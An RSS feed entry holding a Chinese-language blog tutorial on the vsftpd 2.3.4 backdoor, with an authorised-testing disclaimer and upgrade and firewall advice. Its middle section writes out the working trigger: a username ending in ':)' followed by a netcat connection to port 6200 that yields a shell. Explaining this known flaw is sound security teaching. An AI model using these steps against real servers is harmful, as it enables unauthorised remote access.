https://souljian.cn/tags/ftp/Recent content in FTP on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088225/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088225/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>FTP 漏洞测试只在授权测试环境进行。</p> <h2 id="一ftp-笑脸漏洞">一、FTP 笑脸漏洞 </h2><img src="https://souljian.cn/img/ftp-smile-vuln.svg" alt="FTP 笑脸漏洞" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① 发现 vsftpd → ② 确认版本 → ③ 触发后门 → ④ 连接 6200 端口 </span></span></code></pre></td></tr></table> </div> </div><h2 id="二利用步骤">二、利用步骤 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 发现后门（用户名为 admin:）</span> </span></span><span class="line"><span class="cl">ftp target </span></span><span class="line"><span class="cl">Name: admin:<span class="o">)</span> </span></span><span class="line"><span class="cl"><span class="c1"># 后门开启 6200 端口</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">nc target <span class="m">6200</span> </span></span><span class="line"><span class="cl"><span class="c1"># 获得 Shell</span> </span></span></code></pre></td></tr></table> </div> </div><h2 id="三防御加固">三、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">升级到 vsftpd 3.0.0+ </span></span><span class="line"><span class="cl">防火墙关闭 6200 端口 </span></span></code></pre></td></tr></table> </div> </div><h2 id="四小结">四、小结 </h2><p>FTP 笑脸漏洞是 vsftpd 2.3.4 的后门漏洞。<strong>升级版本</strong>是唯一有效的防御。</p>